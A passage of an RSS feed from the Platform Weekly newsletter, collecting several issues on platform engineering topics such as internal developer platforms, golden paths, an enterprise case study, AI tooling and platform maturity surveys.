storage and PVCs ultimately failed. \n\nGiving users root access essentially provides them with root privileges on the node itself - We solved this by using \"user namespaces\" which provides fine-grained control over the mapping of user and group IDs inside containers. \nThe response to the article was immense, so people understandably have a lot of questions, and doubts about leaving Kubernetes, or just wanted to hear from us how it\u2019s actually working out. So if you want to go deeper, our CTO Chris, the original blog post author, put together a technical deep-dive session to cover what can't easily be broken down in an article.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  4000 microservices, 8 million customers, 1 Internal Developer Platform\n  https://platformweekly.com/issues/4000-microservices-8-million-customers-1-internal-developer-platform\n  https://platformweekly.com/issues/4000-microservices-8-million-customers-1-internal-developer-platform\n  \n  \nHey there! Welcome to Platform Weekly, your weekly walk through the platform engineering park. Every week we share the latest and greatest in the platform engineering universe and break down best practices, lessons, and news from the platform engineering community.\n4000 microservices, 8 million customers, 1 Internal Developer Platform\nTwo weeks ago, we had our most successful platform engineering community webinar ever. With 1000+ people tuning in.\nWhy was it so huge? Well, it was kind of the perfect story. It was the epic saga of how Sicredi, a 100 year old credit union in Brazil (8 million clients, 2700 branches, over 45,000 employees) built their Internal Developer Platform.\nIt\u2019s one of the best examples I\u2019ve seen of the rise of platform engineering. Not to mention - their IDP is insane.\nThe Sicredi IDP involves 2 cloud providers, 4089 micro-services, 6728 components, and much much more and they deploy \u22481053 times per day.\nThe company started in 1902, so you can imagine the number of legacy systems and tech debt that is floating around in there. Fast forward to 2017, they\u2019re embracing Agile and DevOps, adopting microservice architectures, and streamlining processes, and automating.\nAnd we all know how that story goes. They continue to face challenges with slow development cycles and longer time to market for new features. The load on developers 10x\u2019d and they realized they needed to do something different. Enter platform engineering.\nTheir Internal Developer Platform needed to:\n\n\nGet developers working independently\n\nSpeed up everything\n\nLet the company scale (without an explosion in complexity)\nTo get a platform that delivers what you want, you need to focus. And that\u2019s exactly what Sicredi did. The IDP was built with automation and self-service in mind, hitting big areas that solve problems (but not covering every use case that exists) allowing developers to independently provision resources, deploy applications, and manage infrastructure etc relatively fast. At the same time, they built security and strict governance directly into the platform so as things sped up, they weren\u2019t creating any risk of blowing things up (especially with the increased measures that need to come from being a financial company).\nThen comes the question of adoption. Did they solve it by just forcing everyone to use the platform? Well, they did something better. They just made the platform so good, you\u2019d be a fool not to use it. DevEx built right into it, bureaucratic overhead chopped out.\nAt the same time, people were trained with specific platform engineering principles in mind to understand the power of it, and what it could do.\nOfc the journey doesn\u2019t stop there though. They\u2019ve got a product now that works great and delivered the insane results they were hoping for - but will also constantly need to grow, and change and adapt. And that\u2019s exactly what they\u2019re doing.\nThe platform has a dedicated team (with a platform as a product mindset) constantly taking in feedback, adjusting, tweaking and changing the platform to keep growing and improving every day.\nI love to see it.\nThere is a lot more that could have been said. But better to hear it from Tiago, and Eduardo themselves.]]>\n  \n  Fri, 30 Aug 2024 00:00:00 GMT\n\n\n  Can you vibe code IaC?\n  https://platformweekly.com/issues/is-it-possible-to-vibe-code-iac\n  https://platformweekly.com/issues/is-it-possible-to-vibe-code-iac\n  \n  \nVibe coding is the pinnacle of productivity, right? I\u2019ve spun things up in a matter of hours, that would\u2019ve taken weeks just a few years ago. There is just one problem. Most of the time the code isn\u2019t very good, is insecure, or just doesn\u2019t work, and since you went so fast\u2026 you\u2019ve got no idea why.\nGod forbid when I try to vibe something that is useful to me like a TF or YAML file. So, you can imagine my excitement watching Ian Amit from Gomboc\u2019s community webinar last night where he broke down how they\u2019re actually succeeding at vibe coding IaC. How is he doing? Well\u2026\nHe is using deterministic AI NOT simply LLMs.\nThis means the AI is applying predefined, explainable rules (like decision trees, knowledge graphs, and configs) rather than probabilistic guesses. \nHe is also surprise surprise ensuring that the foundations of his IaC are strong and mature (See his 5 tips for maturing your IaC or go quick start fixing your IaC yourself)\nThis means the IaC is more reliable, more recognizable, and can be vibe coded to your heart's delight.\nNot a bad deal, eh? ]]>\n  \n  Thu, 04 Sep 2025 00:00:00 GMT\n\n\n  Golden Paths Not Golden Cages\n  https://platformweekly.com/issues/golden-paths-not-golden-cages\n  https://platformweekly.com/issues/golden-paths-not-golden-cages\n  \n  \nHey there! This is Platform Weekly, your weekly dose of platform engineering gold, delivered right to your brain. \ud83e\udd50 Let\u2019s get bakin\u2019\nGolden paths are what you need\n\u200d\nGoogle recently published a very interesting article on golden paths. If you haven\u2019t read it yet, I highly recommend you check it out. I know it\u2019s a pain to open links from a newsletter (and why would you want to leave now, I\u2019m just getting started!), so here are my quick takeaways:\n\n\nGolden paths offer loads of advantages to lots of different groups within your org. I.e they help devs onboard & get building faster, provide guardrails from your security teams, make SRE monitoring easier, and much much more\n\n\nDeciding when, where and how to build your golden paths can be a challenge - where do you begin when everything is important?\n\n\nMeasurement is key to making sure your golden paths are effective at delivering value. You need to understand what you want your golden path to do - before you build it.\nThis is all great. In my opinion though, the most important thing is what this article signals. It shows there\u2019s a growing interest in finding practical solutions to too much complexity and cognitive load on developers.\nGolden paths and platform engineering are THE answer to enable developer self-service and do TRUE DevOps, at the enterprise scale, in the cloud native world. But I can hear you asking - what actually is a golden path?\nIt\u2019s a paved road that the platform team designs for their engineering organization. A set of golden paths is an Internal Developer Platform (IDP). And as you build and ship your IDP as a product, you fine-tune the golden paths to have the right level of abstraction (to be functional) but also the right level of context (i.e. not abstract too much). It\u2019s an art as much as it is a science. And the way to get it right is.. to listen! You have to listen to your internal customers, aka the developers.\nMake sure you\u2019re building golden paths and not golden cages. Make sure your developers fall in love with your platform because it solves their problems. Lower cognitive load -> higher productivity -> higher velocity -> shorter time to market for your entire org.\nHappy paving!\nQuick bites\nRecent articles that blew our minds:\n\n\nTop 10 Strategic Technology Trends 2024 where Gartner keeps platform engineering at the forefront\n\nA Guide to Open Source Platform Engineering on the The New Stack \nFrom the Platform Engineering Slack channel:\n\n\nAnshul has a question on the GitOps model...\n\nWhy Team Topologies? Let\u2019s delve into the reason why this book is on everyone\u2019s mind when it comes to Platform Engineering.\n\u200d]]>\n  \n  Wed, 29 May 2024 00:00:00 GMT\n\n\n  5 years of platform engineering\n  https://platformweekly.com/issues/5-years-of-platform-engineering\n  https://platformweekly.com/issues/5-years-of-platform-engineering\n  \n  \nHey there! This is platform weekly, your weekly peak behind the platform engineering curtain. Every week, we explore the platform engineering universe together\ud83d\udef8\n5 years of platform engineering\nIt\u2019s been 5 years since Team topologies. What\u2019s changed? And what does the future look like? Join me on Thursday, 16th of May next week and let\u2019s find out.\nI\u2019ll be hosting a special Pre-PlatformCon 2024 event alongside Manuel Pais, Nicki Watt (CEO/CTO at OpenCredo), Paul Ingles (Uswitch), and Torill Iversen to discuss the last 5 years a platform engineering, and what the future holds.\nTeam Topologies by Manuel Pais and Matthew Skelton is truly one of the foundational texts of Platform Engineering. It pioneered a lot of the concepts and best practices that now define a lot of the platform engineering community.\nIt\u2019s now the perfect time to come together now just before PlatformCon and look back at the last 5 years. We are on edition 80 of this newsletter, and even in the 1.5 years since we started - platform engineering has changed so much\nAnd yet at the same time, a lot of the huge successes of platform engineering in the last few years like Minimum Viable Platforms and platform as a product stem from concepts first discussed 5 years ago in Team Topologies.\nIf you are into platform engineering, this is a must attend event.\nQuick bites\nArticles of the week:\n\n\nInternal Developer Platform vs. Internal Developer Portal: What\u2019s Up?\nFrom the community:\nMissed my webinar on Platform Orchestrators? It was one of our most successful community events ever. And covers one of the most important and most misunderstood areas of platform engineering.]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  The State of Platform Engineering in 2023\n  https://platformweekly.com/issues/the-state-of-platform-engineering-in-2023\n  https://platformweekly.com/issues/the-state-of-platform-engineering-in-2023\n  \n  \nHey there! This is Platform Weekly, your guide to the wide and wild world of platform engineering. Let\u2019s get explorin\u2019.\nThe State of Platform Engineering in 2023\nHumanitec has just released the State of Platform Engineering Volume 2 and oh boy does it have some interesting things in there. Last year, it focused heavily on understanding the emergence of platform engineering with a large focus on just how big and how fast the platform engineering community (and space) was growing.\nThis year, it\u2019s even bigger. Volume 2 includes information on the first ever platform maturity model, a more in-depth look at the scale and permeance of platform engineering (just how far have we come?), and a deep dive into everyone\u2019s favorite part - the numbers.\nWith data from over 200+ platform engineers, the whitepaper breaks down everything from salary comparisons to usage of AI and years of experience\nDo platform engineers still make more than DevOps, and by how much? How impactful is AI on the platform engineering space? Are titles still chaos? How experienced is the average platform engineer? And what areas are they actually focusing on?\nThe whitepaper covers a much broader focus this year, since there are so many newcomers to the space. What does that mean? Well, if you\u2019re an engineer looking to further your career, or a tech leader investigating whether platform engineering is right for you; I truly think that there is no better resource available out there right now to better understand the current platform engineering landscape. \nHere\u2019s a little sneak peak.\nQuick bites\nAndrew Fong laments the lack of discourse on AI at KubeCon. Do you agree?\nArticles that blew us away:\n\n\nSpotify\u2019s Failed #SquadGoals by Jeremiah Lee\n\nCharacteristics of accelerated Cloud Migrations every Organization can adopt by Micheal Gerrity \nFrom the community:\nIs there a lack of good materials about IDP in the context of DEV tooling? \nThe new change of pricing for Terraform. Hashicorp choices make many shake their heads\u2026]]>\n  \n  Fri, 15 Mar 2024 00:00:00 GMT\n\n\n  OSS Spotlight Plural\n  https://platformweekly.com/issues/oss-spotlight-plural\n  https://platformweekly.com/issues/oss-spotlight-plural\n  \n  \nWe\u2019re back with another open source spotlight! This week, we\u2019re showcasing Plural.\nAre you working on an open source tool for platform engineers? We want to hear about it! Get your project featured in Platform Weekly here.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nOSS Spotlight: Plural\nBy: Michael Guarino, CTO and Co-Founder of Plural\nThroughout my engineering career, which includes tours at Amazon and Facebook, a lot of what I did was scale open-source applications in a self-managed way. Obviously, at these organizations, we had access to greater engineering resources, allowing us to shift this process in-house.\nIf you have managed and deployed open-source applications on Kubernetes, you\u2019re likely familiar with the tedious and time-consuming process.\nFor example, a stateful application like Airflow consists of a SQL database and Redis cache. Both components are difficult to manage, and companies dedicate an engineer\u2019s job to scaling Airflow while ensuring it is always available.\nAfter talking with hundreds of developers over the last two years and through my previous experiences, it became clear that there was a wide gap between a solid Kubernetes deployment and a fully hosted offering from either a cloud provider or a legacy software vendor.\nWhile Kubernetes has a lot of technical potential, there is still a huge gap that is not generally commercially viable to the average developer. I discovered these three constraints organizations face when deploying open-source applications on Kubernetes.\n\n\nApplications need to be tailored to each specific cloud. Solving for cloud customizability is as complex as a code management problem. Each cloud has its own services, APIs, and conventions leading developers to navigate documentation depending on the Cloud provider.\n\nRunning applications directly on Kubernetes is deeply customizable. This usually impedes a functionable out-of-the-box experience, which most legacy tools and cloud providers cannot accomplish. Solving a complicated problem like this in-house is a hassle, especially if you are already short on engineering resources.\n\nApplication lifecycle management is challenging. Similar to solving for cloud customizability, application lifecycle management is a complex process. Just because an application is easy to install doesn\u2019t mean it\u2019s easy to manage as well. Those applications often become a pain to manage, leading to technical debt.\nOver the last two years, I have built and designed Plural to solve each of these constraints. If you want to support our journey, star us on GitHub.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 According to Puppet\u2019s Field CTO Nigel Kersten, platform engineering needs a prescriptive roadmap. Check out his chat with the folks at InfoQ.\n\ud83e\udd50 It\u2019s time to break out our predictions for platform engineering in 2023. \ud83d\udc40\n\ud83e\udd50 How do you hit the right level of abstraction for your Internal Developer Platform? Signicat\u2019s Jon Skarpeteig shares how his organization made it happen.\n\ud83e\udd50 ICYMI: Ship It! Is a great podcast about SRE, platform engineering, and DevOps topics. Definitely check it out.\n\ud83e\udd50 The developer experience is a critical issue for today\u2019s engineering organizations. But platform teams can help. \ud83d\ude09\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out.\n\n\nHow do you handle the module abstraction so developers don\u2019t have to write .hcl code?\n\nReproducible developer environments are a technique/practice NOT something that can be purchased as a product feature.\n\nDoes anyone know of good alternatives to something like dogshellwrap?\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Lessons from Google Next\n  https://platformweekly.com/issues/lessons-from-google-next\n  https://platformweekly.com/issues/lessons-from-google-next\n  \n  \nWith KubeCon London last week and Google Next this week, it\u2019s been the most jam-packed 14 days of the year so far. 100s of conversations with platform engineers, leaders, vendors, students, and more.\nI talked about platform engineering certifications, I talked about PlatformCon, but I also talked about something that is top of mind for everyone at Google Next this week. AI platform engineering.\nAI powered platform engineering, and platform engineering empowering AI will be the defining feature of 2025. I got the chance to watch my friend Kaspar von Gr\u00fcnberg demo Canyon AI to dozens of people this week - the excitement for AI powered platform engineering is palpable.\nCanyon is a new AI product focused on driving developer self-service through secure, context-aware automation by integrating large language models with your Internal Developer Platform to more effectively deliver on all the benefits of platform engineering.\nSimply:\n\n\nUser inputs a request in natural language (create an ephemeral environment, I need permission to see ABC app etc)\n\nLLM interprets the request, and can select from a set of tools provided by Canyon using the Model Context Protocol\n\nCanyon offers a defined set of paths depending on their org and RBAC context\n\nCanyon checks permissions to ensure the user is allowed to do what the LLM is proposing\n\nIf all good, action is executed\nWhy do I think this is so impactful? Because it takes the benefits of platform engineering (dev self service, lower ops overhead), and accelerates it with AI in a safe and secure way.\nIt\u2019s the perfect example of the combination of two tech revolutions that are rocketing through the enterprise atm.\nAnd, we are still very much at the beginning.\nThat means there is still a lot of learning to go.\n\n\nAnswer the State of AI Platform Engineering report survey\n\nTest Canyon and share feedback\nLet\u2019s do this.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  DevOps is dead... \ud83e\udea6\n  https://platformweekly.com/issues/devops-is-dead\n  https://platformweekly.com/issues/devops-is-dead\n  \n  \nWhat is a week on Reddit without a little bit of controversy? Looking forward to hearing your takes on this week\u2019s topic \ud83d\ude09 Comment below with your best arguments.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nDevOps is dead...\nAnd it\u2019s because devs don\u2019t want to do ops.\nTo be fair, it actually depends on who you ask. As you can see from the poll I ran on Twitter yesterday, devs are divided: 41.8% of respondents said yes, 42.1% said no, and 16.1% were indifferent. This Reddit thread also highlights the strong and conflicting opinions in the community.\nAnd that\u2019s why DevOps, as many organizations chose to implement it, is in crisis. When teams don\u2019t agree, forcing everyone to DevOps a certain way can have disastrous consequences.\nThe strain the \u201cyou build it, you run it\u201d paradigm can put on developers has forced many teams to reconsider how they\u2019re allocating responsibilities. On one hand, self-service capabilities are essential to moving quickly and efficiently. On the other hand, with the increasing complexity of the cloud native world, freedom without boundaries can create too much pressure on operations and become counterproductive.\nAs Gartner analyst Lydia Leong puts it, it\u2019s important to remember that \u201cdeveloper control over infrastructure isn\u2019t an all-or-nothing proposition. Responsibility can be divided across the application lifecycle, so that you can get benefits from \u2018you build it, you run it\u2019 without necessarily parachuting your developers into an untamed and unknown wilderness and wishing them luck in surviving because it\u2019s \u2018not an infrastructure and operations team problem\u2019 anymore.\u201d\nThe answer to this lies in platform engineering. Platform engineers build an Internal Developer Platform (IDP) that abstracts away complex infrastructure configurations (among other things) so that developers don\u2019t have to worry about them. Successful IDPs provide golden paths for developers that provide a path of least resistance for day-to-day tasks and have best security practices built-in. At the same time, IDPs preserve developer freedom to go off-road when necessary.\n\u2696\ufe0f Why does platform engineering strike a better balance between freedom and structure?\nIt\u2019s because good platforms are treated like products. Successful platform teams conduct user research, create a product roadmap, solicit regular feedback, and market their platform internally. All of this ensures that the platform is actually reducing cognitive load and striking the right balance between developers\u2019 needs for self-service and support.\nAnd that\u2019s why DevOps is dead. Long live platform engineering. \ud83d\ude09\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Should you go multi-cloud? Lisa Karlin Curtis explores the nuances of handling third-party provider outages. Worth the read.\n\ud83e\udd50 Golden paths are a key element for engineering teams to perform well. Alex Bikfalvi, Product Lead at Adevinta, shared his insights from building an internal developer platform and how it helped. The full talk can be found here.\n\ud83e\udd50 Platform engineering made it to Gartner\u2019s latest Hype Cycle for Emerging Technologies! This FutureCIO article dives in deeper to the transformational potential of emerging technologies.\n\ud83e\udd50 Product demos can become a pain in the \ud83c\udf51. April Dunford shares some tips for making an impactful demo. Check the full \ud83e\uddf5on Twitter here.\n\ud83e\udd50 You already know what time it is \ud83d\ude09\nThat's a wrap on #3. Like what you read? Share it with your friends.\nBtw, we have some really amazing DevOps is Dead news coming very soon.. stay tuned.\nAnd stay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  What will platform engineering look like in 2023? \ud83e\udd14\n  https://platformweekly.com/issues/what-will-platform-engineering-look-like-in-2023\n  https://platformweekly.com/issues/what-will-platform-engineering-look-like-in-2023\n  \n  \nHey there!\n2022 was a big year for platform engineering. But what lies ahead? In the first Platform Weekly issue for the calendar year, I\u2019ll share some of my predictions. Let me know what you think!\nLet\u2019s get bakin\u2019 \ud83e\udd50\nWhat will platform engineering look like in 2023?\n1\ufe0f\u20e3 Case studies\nAs more organizations start building platforms, I expect we\u2019ll see more comprehensive case studies like the one Kognic\u2019s Jessica Andersson presented at KubeCon Detroit this year. I think this will be a super exciting development for the platform engineering community.\n2\ufe0f\u20e3 Increased focus on tooling and blueprints\nYes, every organization should treat their platform as a product that addresses the unique concerns of their developers. But with around 2k tools at your platform organization\u2019s disposal, finding out what combination of tools you need can quickly become a daunting task. As the discipline of platform engineering matures, I expect we\u2019ll see more standards and reference implementations become popular and gain traction. The challenge will be to refrain from adopting things that don\u2019t fit your organization, so user research still needs to be done. \ud83d\ude09\n3\ufe0f\u20e3 More DevOps Engineer roles will turn into DevEx roles or Platform Engineers\nConversations like this one are indicative of engineering organizations\u2019 shift towards improving the developer experience, especially through building or improving Internal Developer Platforms. Studies like Humanitec\u2019s State of Platform Engineering Report show that many folks with DevOps Engineer titles are already building platforms. As platform engineering gains popularity, I anticipate these titles will change to more accurately reflect these individuals\u2019 responsibilities.\n4\ufe0f\u20e3 Infrastructure abstraction for developers will become far more relevant\n\u201cShift left\u201d has forced developers to understand and use an increasing amount of tools and workflows that are incredibly complex, ops-focused, and infrastructure-centric. (*cough* Kubernetes *cough*) Things like dynamic configuration management and open source specs like OAM and Score are designed to abstract away some of that complexity and alleviate cognitive (over)load on developers.\n5\ufe0f\u20e3 Service portal implementations will become more user friendly\nThe proliferation of managed Backstage options and Service Catalogs like Port, etc. indicates that this space is hot. Backstage is still very complex to use, and this leaves a gap for managed and supported alternatives. Will Backstage become simpler to use? Or will paid alternatives take the lead? It\u2019s hard to say at this point. But with Service Catalogs becoming an increasingly relevant UI component of Internal Developer Platforms and Golden Paths, I predict that service portal implementations will have to become more user friendly.\n6\ufe0f\u20e3 Community growth\nWhen we launched platformengineering.org in January of this year, the Slack community was ~1k strong. Now, thanks to PlatformCon 2022 and some viral articles from The News Stack, we have over 8k members from around the world actively sharing their platform stories and expertise with the community. I\u2019m looking forward to PlatformCon 2023 (keep your eyes peeled for the CFP \ud83d\udc40) and hosting more in-person workshops like this one we had in Tel Aviv.\n2022 was a big year for platform engineering, but my bet is that it is just the start. Can\u2019t wait to see where it goes in 2023. \ud83d\ude80\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The DevOps is Dead controversy lives on. \ud83e\udd2a Viktor Farcic shared his thoughts in his latest video.\n\ud83e\udd50 Speaking of DevOps, this recent article from LaunchDarkly does a great job of explaining why so many companies struggle to implement DevOps.\n\ud83e\udd50 I scrolled through Reddit so you don\u2019t have to. Here are my favorite threads from the week:\n\n\nI think IaC is a lot better than \u201cClickOps\u201d!\n\nDo you fit security into your DevOps setup, or do you keep your security team as a separate entity?\n\ud83e\udd50 Will platform engineering be a top tech trend in 2023? This article says yes:\n\u201cI predict that 2023 will be the year when Platform Engineering brings self-serve DevOps to the masses through internal developer platforms that bridge developers and unblock operations obstacles.\u201d\n\ud83e\udd50 This article attempts to lay out a fundamental theory of platforms. It\u2019s definitely an interesting framework to figure out how to build platforms that best serve the business.\n\ud83e\udd50 You\u2019re in luck. Instead of just one meme, I have four. (And three of them are actually good!) Check out my thread highlighting the best memes y\u2019all have sent me about Score. And make sure to check out Score on GitHub if you haven\u2019t already \ud83d\ude09\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nQuestion to those who are building/adopting IDPs. What are the organizational prerequisites?\n\nI\u2019m defining a progression framework for my team. Are there any examples for platform engineering teams?\n\nAn unanswered question: Does anyone have a take on streaming processing of documents?\nAnd that\u2019s a wrap on 2022, my first year writing this newsletter, and our first dive into 2023. Thank you for subscribing to Platform Weekly! It\u2019s been a blast.\nAs always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way. You can also write for us by sharing your article here.\nCya next year!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  How to use Kubernetes for agentic apps\n  https://platformweekly.com/issues/how-to-use-kubernetes-for-agentic-apps\n  https://platformweekly.com/issues/how-to-use-kubernetes-for-agentic-apps\n  \n  \nIn a recent conversation with Abdel Sghiouar, platform engineering ambassador, my fellow AI obsesser, and Kubernetes/GKE dev rel, we were discussing how hard it can be to have conversations about the frontier of AI in platform engineering. If you want to talk code gen? Easy. If you want to talk about best practices for dynamic infrastructure for sub-agents? Well, that\u2019s a bit harder.\nLucky for me, I\u2019ve got Abdel and Google Cloud to help spread the knowledge. In a banger two-parter community article and webinar this week, Abdel breaks down how Kubernetes and platform engineering principles can power intelligent, goal-driven applications that reason, act, and learn autonomously.You know that famous 95% number from MIT about the masses who aren\u2019t seeing value from AI? This is what the 5% are doing. \nI\u2019m summarising over 3,000 words of knowledge here, but if you want to get the most detailed breakdown that currently exists. Here\u2019s a taste:\n\n\nAgentic apps demand adaptive infrastructure: AI agents operate in an \u201cagentic loop\u201d of perceiving, reasoning, acting, and learning. Their dynamic, unpredictable workloads require infrastructure that can scale and adapt in real time.\n\nKubernetes can provide the orchestration layer for that autonomy: With Dynamic Resource Allocation, GPU sharing, and live pod resizing, Kubernetes can let agents scale efficiently while maintaining security, governance, observability etc\n\nPlatform engineering bridges the gap: IDPs remove Kubernetes complexity, giving AI engineers golden paths, built-in observability, and secure, governed environments for deploying agents.\nIf the State of AI in Platform Engineering, and DORA convinced you that you platform engineering is the key foundation of successful AI. Abdel and GKE are showing you examples of exactly what that successful AI can look like.\nIf you want to take a look, he and the team have put together a huge chunk of practical examples, tutorials and quickstarts for deploying AI on GKE.\nK8s AI make-over is just getting started.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  4 phases to platform success\n  https://platformweekly.com/issues/4-phases-to-platform-success\n  https://platformweekly.com/issues/4-phases-to-platform-success\n  \n  \nHey there! This is Platform Weekly, the weekly newsletter that takes the latest and greatest in platform engineering information and condenses it down into a quick, funny (hopefully) and easy to read email, delivered straight to your brain every friday. Let\u2019s get bakin\ud83e\udd50\nPlatform Engineering Dies in 4 Weeks\nI\u2019ve looked at 100s of platform engineering setups in the last 2 years, and the ones that fail always have the same things in common. And it has nothing to do with their tech or tools.\nMost Internal Developer Platforms (IDPs) fail because most platform teams don\u2019t have the right processes to get stakeholders on board with their initiative. And if they do get stakeholders on board, they\u2019re not able to prove value to them quick enough to prevent the initiative from fizzling out.\nSo what\u2019s the answer? It\u2019s simple\u2026 Minimum Viable Platforms (MVPs). This lets you take the huge, complicated, and open ended question of platform engineering and narrow it down, so you can prove value fast and get moving.\nFollowing the four phase MVP process, an engineering organization could deliver a first platform in as little as four weeks (depending on how fast your boss replies to your email of course\ud83d\ude09). \nWhether it takes a 1 week, or 1 month per phase. This process let\u2019s get your first platform in a matter of weeks, and not years. And massively reduces risk and potential cost.\nWhat you\u2019re building here is a representative case for what your Internal Developer Platform would be. The goal here is to move as fast as possible, and prove value, so that you can then expand.\nSounds pretty good right? This is exactly how to do it.\nQuick bites\nArticles that blew me away: \n\n\n How to Become a Platform Engineer\nFrom the community:\n\n\nAre AI enabled platforms the future?]]>\n  \n  Wed, 29 May 2024 00:00:00 GMT\n\n\n  Learn platform engineering\n  https://platformweekly.com/issues/learn-platform-engineering\n  https://platformweekly.com/issues/learn-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sip of platform engineering cocoa. \nLearn platform engineering\nI was pretty confident when launching the first official platform engineering course. I get asked so many questions, and have so many conversations on platform engineering, I was pretty sure it would have its audience.\nWhat I was completely wrong about\u2026 was who that audience would be.\nI\u2019d made the assumption that it would overwhelmingly be DevOps and SRE folks who wanted to transition into PE. I was totally wrong.\n90% of people who attend these courses are experienced platform engineers, many joining with their entire team (or department). Almost 20% of attendees are Heads of Platform engineering departments - or people leading their second platform team.\nPeople who have been told \u201cHey, you are in (or lead) a Platform team now. Go build one\u201d, who\u2019ve received budget and mandate but aren\u2019t quite sure what to do, or just want to make sure their assumptions are right.\nAlmost the minute group 1 finished in September, half a dozen people reached out asking us to run the course for their entire department.\n\u201cEven if we just have the entire team giving the same definition for platform engineering. It\u2019ll be a success\u201d.\nThat\u2019s why we are launching Platform Engineering Trainings.\nSo, if you want to:\n\n\nGet everyone on your team on the same page and teach them the foundational concepts of platform engineering\n\nLeverage our ROI framework to build a clear business case for your platform initiative, and design and sell your platform effectively\n\nExecute on your vision and build and scale your Minimum Viable Platform\nI\u2019m so excited to talk to you!\nTake a look at the website, and let me know your thoughts.]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  Platform engineering tools\n  https://platformweekly.com/issues/platform-engineering-tools\n  https://platformweekly.com/issues/platform-engineering-tools\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly climb of the platform engineering tree. This week we\u2019re unpacking an awesome article and webinar released by Jonas Hecht on multi-cloud platform engineering with Crossplane, and ArgoCD. (Yep, that means some GitOps excitement too)\nWhat\u2019s hot this week:\n\n\nAlmost half of early bird PlatformCon in-person Live Day tickets already sold. Don\u2019t miss yours!\n\nHow to win at Minimal Viable Platforms\n\nSpeak at PlatformCon 2025\nGitOps + Platform Engineering with Crossplane & ArgoCD\nI\u2019ll be the first person to tell you that platform engineering isn\u2019t only about tech & tools. And in my experience, it\u2019s rarely the wrong tool choice that tends to kill most platform initiatives.\nIt\u2019s usually culture. But that doesn\u2019t mean we shouldn\u2019t talk about tooling. And that the right combination of tools can\u2019t do some pretty cool stuff. This article and webinar combo from Jonas Hecht, Senior Solution Architect & Developer Advocate at Codecentric, is a perfect great of that.\nJonas breaks down exactly how Crossplane and ArgoCD can result in some awesome platform\nengineering and deliver on a whole lot of the stuff that we think about when we dream of good platform engineering.\nJonas explains:\n\n\nHow Crossplane enables platform teams to build organization-specific abstractions with a new approach to infrastructure provisioning and management (oh and also multi-cloud too)\n\nThe sweet joy of adding GitOps into the mix with ArgoCD\n\nHow together they create a smooth, automated loop that keeps everything in sync, eliminates headaches, and makes everything faster and easier.\nI talk a lot about culture here, and we all know why. But sometimes you just need to mess around with some awesome tooling and the epic things that come out.\nIf you want multi-cloud, and GitOps, and awesome examples of everything platform engineering has to offer. Go read Jonas\u2019 full article, and watch his webinar.\nYou won\u2019t regret it\ud83d\ude09]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  Here's how ~300 orgs stack up to Syntasso's Platform Maturity Model\n  https://platformweekly.com/issues/heres-how-300-orgs-stack-up-to-syntassos-platform-maturity-model\n  https://platformweekly.com/issues/heres-how-300-orgs-stack-up-to-syntassos-platform-maturity-model\n  \n  \nHey there! This is Platform Weekly. \ud83e\udd50 This week, we\u2019re diving into the issue of platform engineering maturity with more grace than an Olympic diver. Let\u2019s get bakin\u2019\nHere's how ~300 orgs stack up to Syntasso's Platform Maturity Model\nA few months ago, I asked folks from the platform engineering community how their organizations fared on an early version of Syntasso\u2019s Platform Maturity Model. 296 folks responded. Here are the highlights from the results \ud83d\udc47\n1. Most platform teams are still struggling to get full buy-in across their organization. This isn\u2019t a huge surprise, given how many different stakeholder groups and conflicting priorities most platform teams have to deal with.\nOne key to getting buy-in across the organization is to understand different stakeholder groups and their unique priorities. For example, CEOs and executives are often focused on strategic, long-term issues. Mature platform teams understand how the platform has a measurable impact on those goals. SysAdmin and DevOps might be scared the platform is coming for their jobs. Platform teams should communicate how the platform enables them to have a greater impact on the organization.\n2. Only 32.3% of teams are following a platform as a product approach. Which is a bad sign because a product mindset is what ensures platform teams build an Internal Developer Platform their developers actually want to use.\nWorse yet, many organizations think they\u2019re following a platform as a product approach when they aren\u2019t. \ud83d\ude1e OpenCredo\u2019s Nicki Watt explained how some organizations make more assumptions about internal users than external ones despite the fact that both groups require the same consideration. Alternatively, some organizations mandate platform adoption. However, this closes off crucial feedback loops needed for mature platform product management.\nThe Platform Maturity Model can be a valuable tool for organizations to evaluate which platform engineering best practices they still need to meet. And looks like most organizations still have a long way to go. Check out the full article to see how respondents fared on other important aspects like change readiness, platform team structure, and user experience.\n\u064eQuick Bites\n\n\nA quick and easy guide to making the business case for a dedicated platform team at your organization.\n\nAI could be a great tool for boosting developer velocity. Bill Doerrfeld shared some potential use cases worth considering.\n\n\nTwo great resources on golden paths were published this past week. The folks at Google Cloud published this high level introduction to golden paths. Also, here\u2019s a deeper dive into how your platform team can pave golden paths that actually go somewhere (with examples!).\n\n\nHere\u2019s how platform engineering can help keep cloud costs in check.\n\nWill the rise of generative AI rewrite DevOps best practices? Or are folks getting too excited about this technology too soon?\n\nAccording to VMWare Tanzu\u2019s Bryan Ross, Internal Developer Platforms have the potential to revolutionize software development. But first, platform teams need to master marketing their platform, refining the user experience, creating great documentation, and providing top tier customer service.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay 